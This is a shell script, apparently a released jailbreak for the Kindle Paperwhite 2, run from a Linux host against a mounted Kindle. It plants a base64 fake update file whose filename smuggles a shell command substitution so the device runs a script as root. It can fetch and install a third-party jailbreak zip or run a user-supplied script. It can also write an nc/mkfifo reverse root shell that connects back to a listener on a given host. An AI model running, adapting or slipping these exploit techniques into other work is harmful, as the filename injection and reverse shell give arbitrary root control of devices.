#!/bin/sh
#
# Jailbreak for the Kindle Paperwhite2, by yossarian17.
#
# This script must be run on a linux system.
#
# This script installs a jailbreak script in the kindle user directory.
# The jailbreak script will be run automatically after the kindle is ejected.

# K5+PW1+PW2 jailbreak+bridge script by NiLuJe.
KPW_JAILBREAK_URL="https://lb1.pcs.ovh.net/v1/AUTH_6ad42bb3080cce86b6eabb433045ccbb/mr-public/Touch/kindle-yossarian-jb.zip"
KINDLE_MNT=
KINDLE_UPDATE=
JAILBREAK_ZIP=
USER_SCRIPT=
RS_HOST=
RS_PORT=
VERBOSE=
VERSION=1.1.1
JB_SH="jb.sh"
RS_SH="rs.sh"
TMP="${TMP:-/tmp}"

usage() {
    echo "Usage: ${0##*/} [-k <kindle_dir>] [-u <update_bin>] [-j <kpw_jb_zip>]"
    echo "       ${0##*/} [-k <kindle_dir>] [-u <update_bin>] -u <user_script>"
    echo "       ${0##*/} [-k <kindle_dir>] [-u <update_bin>] -r <host> <port>"
}

version() {
    echo "$VERSION"
}

verbose() {
    test "$VERBOSE" || return
    echo "$*"
}

abort() {
    echo "$*" >&2
    exit 1
}

find_kindle_mnt() {
    KINDLE_MNT=$(
	cat /proc/mounts \
	  | awk '($2 ~ /\/Kindle/) && ($3 == "vfat") {print $2; exit}'
    )
}

download_jailbreak_zip() {
    JAILBREAK_ZIP="$TMP/${KPW_JAILBREAK_URL##*/}"
    test -e "$JAILBREAK_ZIP" && return
    if !(cd "$TMP" && wget -O "$JAILBREAK_ZIP" "$KPW_JAILBREAK_URL"); then
	abort "can't download pw1 jailbreak"
    fi
}

# Write a fake kindle update, courtesy of NiLuJe
write_fake_update() {
    KINDLE_UPDATE="$TMP/update_fake_o2.bin"
    openssl base64 -d > "$KINDLE_UPDATE" <<EOF
U1AwMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAnWu2yoHwn6LAAb8ZdOcg6uqKOTEcBumenXMzYQAbZI
Xi5Pw6aD0xf7E/SQpw/G+z0UUSJRzzs4ngyKnp8CpEF3tzVlCbaWflMkYtuH3Qiz
C6BoE8GW5RNYCqivMSqMLBdDAZb3LaijNMhjzXyvFln2Vak48bMIoJvPcOHGEFy+
RkQwNAAAAAAAAAAA//////////8MABEADwAQACQAGwAcAB0AHwAgANQAWgDVAAAA
PDlsWWlMOflcXAlJTGxJGRlsSVnpKen5GVlsGSkpSVwAAIvC+nrF5bJfekrIhoaI
bHBpeXpaSUtLeao69DnzrPw8PFy8/JxcnPzWfHz8fFwctnB8fswCYn7sbe5cY1Ja
Tmticng4iT5u6XfP3Sbj5DExQn+1y2gGgeFpeZWqor6iHkSDm3T1VZrmw+8oJyST
IwL3u+c0TZjIppXZ776+aAT98WoEsfLOwRDL7pDo8dmkTxOt3NFozd6nPhhN4LqC
0wzZ7QZAv8aXsXkcpShh6aX+n7QHQEELjL0jFnlPbS9FRftmcq2LnDM5OtaO3105
fCRnMBet4y0bgxilFY7TMBGfKactVbElEJ28kEqkhWOa3spfW85fLUdZTV9NWcLO
NXK50AsKMASNS05IQ2e1jop41XY8nMctlOy8lipL1MIAoVO9Y7bUQD0y4Q8UFzLI
giBYgTMDBaYE1+zxASSWo/ZD2MuXAKFz50PEJ5FVp5YT5dqmaB+ZhA0ny640Q4dT
dEZw1u0G+cScd+vFQ8ez8eUmQJmpZep732FtHS/f+oSBiGqbjZeJ4XUeXoxenjgG
GMGr2kuAqG3b/IWCPXIohU+nmlKkiU1LMbWMvLzZ04XkWrqiuDtfvrpPuFNPuKhX
urpTsrq+X6iourq4qKhfQ0e4vrK2Tyt+oj4qSnkrg69Tg4NLit6Iv0qkFW952h5m
+PsqNEp6n6EqWnpbeno=
EOF
}

check_kindle_mnt() {
    local kindle="$1"

    test -n "$kindle" || abort "missing kindle dir"
    test -d "$kindle" || abort "kindle dir not found: $kindle"
    test -d "$kindle/documents" -a -d "$kindle/system" \
      || abort "not a kindle: $kindle"

    return 0
}

check_kindle_update() {
    local update="$1"

    test -n "$update" || abort "missing update"
    test -f "$update" || abort "update not found: $update"
    #dd if="$update" bs=4 count=1 2>/dev/null | grep -q "SP01" \
    #   || abort "invalid update file: $update"
    return 0
}

check_jailbreak_zip() {
    local jb="$1"

    test -n "$jb" || abort "missing jailbreak"
    test -f "$jb" || abort "jailbreak not found: $jb"
    unzip -l "$jb" | grep -q jailbreak.sh || abort "invalid jailbreak zip: $jb"

    return 0
}

check_user_script() {
    local script="$1"

    test -n "$script" || abort "missing script"
    test -f "$script" || abort "script not found: $script"
    sh -n "$script"   || abort "invalid script: $script"

    return 0
}

install_jailbreak() {
    local kindle="$1"
    local update="$2"
    local jailbreak="$3"

    echo "Installing $jailbreak jailbreak"; echo

    unzip -d "$kindle" -o "$jailbreak"      || abort
    rm -f "$kindle"/update*.bin
    make_jb_script "$kindle" "jailbreak.sh" || abort
    install_update_file "$kindle" "$update" || abort
    test "$VERBOSE" && list_kindle
    echo
    echo "Now eject the kindle from linux and switch off airplane-mode."
    echo "Then press the suspend button and wait 2-3 minutes for the"
    echo "jailbreak script to be started automatically by the kindle"
    echo "or press [Menu] -> Settings -> [Menu] -> Update Your Kindle."
    echo
}

install_user_script() {
    local kindle="$1"
    local update="$2"
    local script="$3"

    echo "Installing $script script"; echo

    cp -f "$script" "$kindle/"               || abort
    make_jb_script "$kindle" "${script##*/}" || abort
    install_update_file "$kindle" "$update"  || abort
    test "$VERBOSE" && list_kindle
    echo
    echo "Now eject the kindle from linux and switch off airplane-mode."
    echo "Then press the suspend button and wait 2-3 minutes for your"
    echo "jailbreak script to be started automatically by the kindle"
    echo "or press [Menu] -> Settings -> [Menu] -> Update Your Kindle."
    echo
}

install_rs_script() {
    local kindle="$1"
    local update="$2"
    local host="$3"
    local port="${4:-8000}"

    echo "Installing root shell script"; echo

    make_rs_script "$kindle" "$host" "$port" || abort
    make_jb_script "$kindle" "$RS_SH"        || abort
    install_update_file "$kindle" "$update"  || abort
    test "$VERBOSE" && list_kindle
}

install_update_file() {
    local kindle="$1"
    local update="$2"

    jb_cmd="cd mnt && cd us && sh $JB_SH"
    jb_fname="$(printf 'update_kindle_$(%s).bin' "$jb_cmd")"
    test -e "$kindle/$jb_fname" && return

    echo "copying $update in $kindle ..."
    cp -f "$update" "$kindle/$jb_fname"
    sync
}

make_jb_script() {
    local kindle="$1"
    local script="$2"

    echo "writing $kindle/$JB_SH..."
    cat <<-EOF > "$kindle/$JB_SH"
	#!/bin/sh
	LOGFILE="/mnt/us/documents/jb-log.txt"
	exec > "\$LOGFILE" 2>&1
	echo "# \$(date) $JB_SH started"
	#set -x
	rm -f /mnt/us/update*.bin
	eips -c
	eips 2 2  "running /mnt/us/$script..."
	sh /mnt/us/$script
	eips 2 3 "script done"
	sleep 2
	eips -c
	lipc-set-prop -i com.lab126.powerd wakeUp 1
	echo "# \$(date) $JB_SH ended"
EOF
}

make_rs_script() {
    local kindle="$1"
    local host="$2"
    local port="${3:-8000}"

    echo "writing $kindle/$RS_SH..."
    cat <<-EOF > "$kindle/$RS_SH"
	#!/bin/sh
	/usr/bin/mkfifo /tmp/rs.fifo 2>/dev/null
	cat /tmp/rs.fifo | /bin/sh -i 2>&1 | /usr/bin/nc "$host" "$port" >/tmp/rs.fifo
	rm /tmp/rs.fifo
EOF
}

run_rs_server() {
    local port="${1:-8000}"
    echo
    echo "Now eject the kindle from linux and switch off airplane-mode."
    echo "Then press the suspend button and wait 2-3 minutes for the"
    echo "jailbreak script to be started automatically by the kindle"
    echo "or press [Menu] -> Settings -> [Menu] -> Update Your Kindle."
    echo "A root shell prompt should appear here."
    echo
    echo "Running nc -l $port... (press Ctrl-C to exit)"
    exec $(command -v rlwrap) nc -l "$port"
}

list_kindle() {
    echo
    ls -l "$KINDLE_MNT"
    echo
    echo "jailbreak script $KINDLE_MNT/$JB_SH:"
    cat "$KINDLE_MNT/$JB_SH"
}

while [ "${1#-}" != "$1" ]; do
    case "$1" in
	-\?|-h|-help|--help)
	    usage
	    exit
	    ;;
	-x|--xtrace)
	    set -x
	    shift
	    ;;
	-v|--verbose)
	    VERBOSE=true
	    shift
	    ;;
	-V|--version)
	    version
	    exit
	    ;;
	-k|--kindle) #dir#
	    KINDLE_MNT="$2"
	    shift 2 || exit 1
	    ;;
	-u|--update|--kindle-update) #file#
	    KINDLE_UPDATE="$2"
	    shift 2 || exit 1
	    ;;
	-j|--jailbreak|--pw1-jailbreak) #file#
	    JAILBREAK_ZIP="$2"
	    shift 2 || exit 1
	    ;;
	-s|--script|--user-script) #file#
	    USER_SCRIPT="$2"
	    shift 2 || exit 1
	    ;;
	-r|-rs|--root-shell) #host# #port#
	    RS_HOST="$2"
	    RS_PORT="$3"
	    shift 3 || exit 1
	    ;;
	*)
	    echo "invalid option: $1" >&2
	    exit 1
	    ;;
    esac
done

echo "Kindle Paperwhite 2 jailbreak v${VERSION}, by yossarian17."; echo

test "$KINDLE_MNT"    || find_kindle_mnt
test "$KINDLE_UPDATE" || write_fake_update

check_kindle_mnt    "$KINDLE_MNT"
check_kindle_update "$KINDLE_UPDATE"

if [ "$RS_HOST" ]; then
    install_rs_script "$KINDLE_MNT" "$KINDLE_UPDATE" "$RS_HOST" "$RS_PORT"
    run_rs_server "$RS_PORT"
elif [ "$USER_SCRIPT" ]; then
    check_user_script "$USER_SCRIPT"
    install_user_script "$KINDLE_MNT" "$KINDLE_UPDATE" "$USER_SCRIPT"
else
    test "$JAILBREAK_ZIP" || download_jailbreak_zip
    check_jailbreak_zip "$JAILBREAK_ZIP"
    install_jailbreak "$KINDLE_MNT" "$KINDLE_UPDATE" "$JAILBREAK_ZIP"
fi

# end of file
